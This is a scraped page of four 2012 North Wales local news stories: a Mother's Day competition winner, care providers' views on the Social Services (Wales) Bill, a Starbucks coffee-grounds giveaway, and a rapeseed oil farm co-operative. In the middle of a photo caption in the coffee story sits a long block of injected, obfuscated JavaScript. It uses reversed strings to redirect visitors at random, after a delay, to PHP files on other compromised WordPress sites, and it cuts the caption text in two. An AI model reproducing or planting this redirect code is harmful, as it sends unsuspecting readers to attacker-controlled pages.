Category: News

Jackie is a Mum in a Million

Eagles Meadow Mum in a Million competition winner Jackie Jenkins, along with her daughter Kiera Leanne Jenkins, who nominated her for the prize, dad Karl and brothers Jordan and Kyle pictured with therapist Laura Owen at Gozo

A mother’s devotion and love for her family has earned her the top prize in a competition to find a Mum in a Million.

The Leader newspaper teamed up with the Eagles Meadow shopping centre, in Wrexham, to give people the chance to say a big thank you and show how much they cared for their mums in the run up to Mothering Sunday on March 18.

Twelve-year-old Kiera Leanne Jenkins,  of Rhosddu, was quick to grab the chance and pen 100 words on why her mum, Jackie, deserves  a special pamper session as our Mum in a Million.

Then, after a panel of judges sifted through a sack full of entries, Jackie’s hard work and dedication to her family wowed the judges who came to the conclusion she really was a worthy winner.

Jackie will now be treated to a Time for You pamper session at Gozo in Eagles Meadow. It  includes an Indian head massage, a mini facial, a hand and arm massage with a file and polish coupled with a glass of wine. In addition, she has won a meal for four at Nando’s, one of the shopping centre’s top eateries.

Kiera says she wanted her mum to know that she really was appreciated and that she, and her two brothers, Jordan, 17, and Kyle, 14, really do have the best mum in the world.

She said: “Mum works so hard and at one point had two jobs. She got up before 5am and drove to Prenton where she worked in a call centre. She would then get home just before 3pm and start her housework.

“She always made sure there was something nice for tea for the whole family and she’d do her washing, ironing and housework and then she’d be there to collect me from school.

“After tea she’d go to her second job at Wrexham Tax Office and work from 5pm until 10pm. She’d get home late and get to bed ready to start again the next day.”

“But she always has a smile on her face and is always there to help me when I, my brothers, or my dad need her. She will do anything for any of us and I just wanted her to know how much we love her.”

After Kiera spotted the Eagles Meadow Mum in a Million competition in the Leader she quickly set about writing her letter.

She said: “I checked with dad first and he helped me put my entry into just the right words. Then when I saw it printed in the Leader I asked mum if she’d read the paper yet. When she said she hadn’t I left it open on the right page so she couldn’t miss it.

“I’m so pleased my mum has won as she is the best mum in the world, no doubt about it. She never moans, is always smiling and is always there when I need her. Thanks mum, we love you so much!”

Kiera’s dad, Karl Jenkins, says Jackie is not only a mum in a million but a wife in a million too.

Karl, who works as an aircraft fitter at Magellan Aerospace, in Llay, said: “Like a lot of families we have gone through some tough times financially yet Jackie never once moaned.

“She has just got on with it making sure she gives everything to our children to make sure they have what they need whether it’s a new pair of football boots or a new outfit for Kiera.

“At one stage she was getting so tired and we were all getting worried about her. It seemed as if we were like ships passing in the night. I’d come home off nights as she left for work and so it went on.”

“To be honest I don’t know how she did it. Of course we all helped in the house but she still did more than her fair share while somehow, for more than a year, keeping up two jobs.

“I’m so proud of her. Jackie doesn’t think about herself she thinks of her family. What she should realise is that she is the family, it’s because of her that we are the close family unit we are.

“I know it was Kiera’s idea to write in and enter the competition after she saw it in the Leader but I’m proud of all three of our children. They all think the same of their mum. She really is our Mum in a Million.”

And Jackie, 37, admits she was left gob-smacked after reading what her daughter had written in the Leader.

She said: “I was amazed that Kiera, her dad and brothers had managed to get one  over on me to be honest. I don’t usually get caught out and generally know what is going on.

“It means a massive amount to me to be honest and shows that my wonderful daughter is growing up. I never knew she realised how hard it was having two jobs to bring in that bit of extra cash.

“To be honest I never thought anything about it myself. It was a case of needs are, needs must really. Although I do think it’s so nice she appreciated what we do as a family.

“My family really is everything to me as it is to Karl. We would do anything for our children no doubt about it. I wondered why Kiera asked me if I’d read the paper and when I said I hadn’t she left it open on the page. I was just gob-smacked and happy.

“I’ve never won anything in my life before, not even a raffle. But believe me I only have to look at my happy family and it’s like winning a thousand lottery jackpots all in one go.”

Tuesday March 13th, 2012

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Don’t waste this historic chance

Mario Kreft of Pendine Park

Independent care providers in Wales have warned a historic opportunity to reform social care could be squandered unless councils are prepared to work in partnership with them.

Care Forum Wales, which represents more than 500 members, believes the new legislation has the potential to end the post code lottery that has plagued social care services.

According to Chair Mario Kreft MBE, it is significant the Welsh Government chose the Social Services (Wales) Bill as their first piece of legislation under the Assembly’s new powers.

The Bill includes the introduction of national eligibility criteria so that people receive the care they need regardless of where they live.

Other key elements are the creation of portable assessments so that people’s needs don’t need to be re-assessed if they move to live in different area and a new national framework contract.

Gwenda Thomas, Deputy Minister for Social Services and Children, launched a three-month public consultation on the legislation.

Mrs Thomas says the legislation is designed to give people greater freedom to decide which services they need while offering consistent, high quality services across Wales.

The proposed Bill has been warmly welcomed by Mr Kreft who said: “We would like to commend the Deputy Minister, Gwenda Thomas AM, for the leadership she has shown and her commitment to transforming social care.

“We have been campaigning for many of these initiatives since Care Forum Wales was established 19 years ago.

“We certainly welcome this radical Bill and if we together seize the opportunity to focus our efforts this could be a historic achievement.

“Radical reform of the planning and delivery of services is long overdue and we need to create a culture where the independent sector works in true partnership with public sector bodies.

“If we have that shift, we can achieve a great deal but if we don’t I’m afraid we’re going to fall short and this would be deeply disappointing for those requiring services.

“This Bill is the first piece of legislation brought forward by the Welsh Government under the new powers so clearly they have accepted this is a priority because sadly the service is currently failing on too many fronts.

“Social care for vulnerable people is simply too important to be allowed to fail.

“The national eligibility criteria and portable assessments should help end the current postcode lottery in social care.

“We have always campaigned to have the right services  in the right place at the right time. It should not matter where you live.

“It is going to be important to develop a transformation agenda to new services while we hold on cross Wales to those important services that we are still going to need.

“That is going to require a change of mindset and one of the important aspects is the Memorandum of Understanding to develop a partnership approach between the independent and the public sectors in relation to the commissioning of social care.

“We understand that the Deputy Minister is passionate about the MoU because she has recognised that without this change of culture, a new approach to partnership working, a lot of what’s contained in the Bill will not be delivered.

“The national eligibility criteria and the portable assessments are vital elements of providing a consistent and fair service to the people of Wales. It is also important to empower people and the national framework contract will assist in this.

“The current postcode lottery is simply not acceptable. With a population of just three million, Wales does not need 22 variations on a theme with different councils doing things differently. There are also seven local health boards andwe must have a more joined up approach.

“Like the Deputy Minister, we are not prepared to sit by as fewer and fewer people receive the support they need.

“In reality, we have seen far too much growth in bureaucracy, the growth of the back office at the expense of front line services.

“Anybody who’s going to look seriously at this consultation has got to recognise that the whole social care system in Wales is predicated on tens of thousands of decent hard working people working people are at the bottom end of the pay scale.

“Independent sector wages are effectively set in county hall and we must value the contribution of social care workers in Wales.

“The tender arrangements that local authorities are adopting in relation to domiciliary care across Wales are designed to drive down price at all cost, regardless of quality.

“Everyone knows the cheapest price is often not the best value and the same is true in social care.

“We’re never going to have the high quality services that we need  unless we recognise the workforce agenda has to be transformed and these people are supported and remunerated in the way they deserve.”

At the launch of the consultation period, Gwenda Thomas said: “This Bill is an excellent example of how we are using the new powers of the National Assembly to make a real difference to the lives of the people of Wales.

“This Bill is about giving people a stronger voice and real control over the social care services they use, and to help meet their changing needs.

“The Bill will drive the development of new models of service that maintain and improve the wellbeing of people in need.

“There will be a stronger focus through the Bill on preventative and early intervention services, based on greater partnership working and integration of services between local authorities and partners.

“Service users and their carers must be involved. This means assessments must be about the outcomes that are important to them, not just about eligibility for a particular service.

“This Bill will help us all tackle the many challenges facing social services in Wales but will also allow us all to seize the opportunities before us”.

Tuesday March 13th, 2012

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Caffeine fix is marvellous for gardens

Divina Quin, manager at Starbucks, Eagles Meadow, Wrexham with regular cus$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tomer Arthur Roberts from Trevor after he picked up the coffee grounds for use in his garden.

Used coffee grounds from a cafe are being used to perk up gardens in Wrexham.

The Starbucks branch at the Eagles Meadow shopping centre is handing out free bags of the nitrogen-rich grounds to customers.

Manager Divina Quin says the grounds are a wonderful nutritional soil additive and each day the used grounds are saved and bagged ready for the green-fingered coffee lovers.

She explained: “During the brewing process most of the acidity is removed from the coffee beans leaving used grounds with an average ph of 6.9 and a carbon-nitrogen ratio of 20-to-1.

“By adding grounds directly to gardens and applying this green material as a side dressing to nitrogen-loving plants, including most perennials and alliums  it can have a really beneficial effect on gardens and allotments.

“Grounds can prove particularly beneficial when mixed with brown materials such as leaves or dried grass.

“It also makes a wonderful additive to compost. Combined with brown material, it can really help make a good compost particularly if used within two or three weeks of brewing.”

“The bags of used coffee grounds are becoming increasingly popular with our customers. Bags can be collected from the café for free. It has to be better that our used coffee grounds are used as a good soil conditioner rather than going into landfill sites.”

Retired fire officer and dedicated Starbucks customer Arthur Roberts, 85, of Trefor, couldn’t agree more.

He is adding used coffee grounds to his flower beds this year to help improve the soil.

Arthur said: “It seems like a great idea to me and its good that Starbucks are giving away the used grounds for free.

“I grow quite a lot of flowers such as geraniums, daffodils and other flowers and I am hoping the grounds will help me put on a good show.

“My late wife was the real gardener and she would have loved the idea of makinguse of waste material such as coffee grounds as a soil additive so I am definetly giving it a go.”
He added: “I come to Starbucks at Eagles Meadow every day, unless I am away on holiday. I enjoy sitting and reading my paper with a cup of coffee. There is always a friendly atmosphere.

“The coffee is great and the staff here at Eagles Meadow are brilliant and so friendly. I’d be lost without my daily dose of Starbucks to be honest!”

The initiative is helping to underline the shopping centre’s green credentials.

It was revealed recently that 93 per cent of the waste materials from Eagles Meadow are recycled.

On top of that last year they cut water consumption by 20 per cent and electricity use by 11 per cent.

Eagles Meadow Manager Kevin Critchley said: “Giving the used coffee grounds to local gardeners is a brilliant idea – no wonder it’s growing in popularity!”

Tuesday March 13th, 2012

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Unctuous golden extra virgin oil, cold pressed in the hills of North Wales

Llyr Jones with his Blodyn Aur rapeseed oil at his farm near Cerrigydrudion with Rob Price from Cadwyn Clwyd.

Extra virgin oil, cold-pressed high in the hills of North Wales will soon be appearing on shelves in supermarkets in Cheshire.

A small farmers’ co-operative from which already produces a high quality rapeseed oil for the Welsh market is now branching out into Cheshire and Cumbria.

Blodyn Aur – Golden Flower in English – is the brand name of the unctuous golden liquid that is perfect for salad dressings and which is on the shelves of Asda stores in Wales and soon bottles
of ‘Cheshire Field’ will be appearing in Cheshire branches of the supermarket giant.

It will be made from oilseed rape grown in Cheshire but pressed at Derwydd, a farm near them village of Llanfihangel Glyn Myfyr, between Ruthin and Cerrigydrudion.

The success of Blodyn Aur will be showcased to farmers from across North East Wales at two special workshops organised by rural regeneration agency Cadwyn Clwyd this month as part of their Agri-Food Project for rural Denbighshire and Flintshire financed from the Rural Development Fund for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

They will be held at Llysfasi on Tuesday, February 14, at 7pm at Llysfasi College, near Ruthin, and at the same time, the following day, Wednesday, February 15, at Northop College.

Farmer Llyr Jones, of Derwydd, who founded Blodyn Aur with colleagues Medwyn Roberts, from Llanfihangel, and Bryn Jones, from Cerrigydrudion, in April 2010, will be passing on the secrets of their success at the workshops which will be led by Geraint Hughes, of business support company Annog.

He said: “We want to spark some ideas and interest in new crops and diversification because Cadwyn Clwyd can provide valuable support for rural businesses.

“It’s all about encouraging farmers to come up with something that’s fresh and different but also has commercial value and North East Wales is well placed with the best land in Wales and a huge
population right on its doorstep.”

Cadwyn Clwyd Agri-Food Project Officer Robert Price said: “These meetings are a real opportunity for farmers to find out how diversification can help them and the success of Blodyn Aur is a prime example.

“They have shown what can be done if you have the imagination and skill to develop a top quality product and the courage and determination to market it.

“There’s a lot to be learned from the way they have gone about setting up the business and expanding it and these are lessons that can be applied by other producers in what is the most fertile farming land in Wales.

“The meetings are targeted at farmers and we will be there to discuss alternative crops and how they can develop them in the way that Llyr has done.”

Llyr started the venture with farming colleagues– and now as well as in Asda, Blodyn Aur is available at specialist food shops and even at the Millennium Stadium.

They buy in the crop which is harvested at farms in the Vale of Clwyd, in Flintshire and along the North Wales coast and cold press it at Derwydd before it is taken to be bottled and labelled in
Llandudno.

Llyr said: “We originally had the idea of using rapeseed for biofuel but that market didn’t happen so we really rather stumbled into this.

“But we had the machinery and the rapeseed and so we didn’t have to spend a lot more to make it food grade so we changed a few things and went on courses to learn more about it.

“It is a really good product because it is tasty, it has a hazelnut taste, and it’s even better for you than olive oil – and you can get it from here in North Wales rather than Tuscany.

“It’s lower in saturated fats than olive oil and it’s higher in Omega Three and in Vitamin E.

“We’ve been lucky enough to get it into Asda in Wales and we’re in talks with Tesco and Sainsbury and we’ve been well supported by a number of farm and specialist shops.

“It started off as just another string to our bow but it’s the bow now. The turnover the first year was just over £30,000 and we’re expecting to double that this year.”

Their enterprise also has top class ‘green’ credentials with the electricity supply at Derwydd, which drives the machinery that cleans the seeds as well as the press, provided by the farm’s own hydro-power system.

The seed husks are made into feed pellets for livestock – Llyr keeps 1,000 breeding ewes on the farm – and there are benefits to the farms that they buy their rapeseed from.

Llyr explained: “If you grow corn then it takes nutrients out of the ground but rapeseed is a brassica, part of the cabbage family, which replenishes the soil so if you plant the field with corn
the following year you’ll get a higher yield.

“Farmers use it as a rotation crop and you still get money for giving the land a rest and you use the same machinery to plough, seed and harvest it as you do for corn.

It’s pretty as well, it’s nice to see the splashes of yellow colour in the landscape in  the summer.

“You harvest it in August and then dry it out before cleaning it and then putting it through the special press which is German-made and then it is filtered three times and that’s what gives the
taste.

“I think ours is better than our competitors because most rapeseed oil in heated before it is pressed which gives you more volume but not the quality of a cold press and they don’t triple filter because they’re producing a bulk product.”

“This is a specialist food and it has a lovely, nutty flavour and it’s perfect for salad dressings – you can use it just as you would an extra virgin olive oil. I’m lucky, I just go and fill a jug from the barn when I want some.”

To sign up for the workshops at Llysfasi and Northop Colleges, contact Robert Price at Cadwyn Clwyd on 01824 705802 or e-mail to:robert.price@cadwynclwyd.co.uk">robert.price@cadwynclwyd.co.uk

Cadwyn Clwyd continues to look for innovative projects to support which help safeguard the area’s natural, cultural and heritage assets and maximise their economic potential for local businesses and communities.

To find out more or share your idea for a project call 01824 705802 or email to:admin@cadwynclwyd.co.uk">admin@cadwynclwyd.co.uk

Tuesday March 13th, 2012

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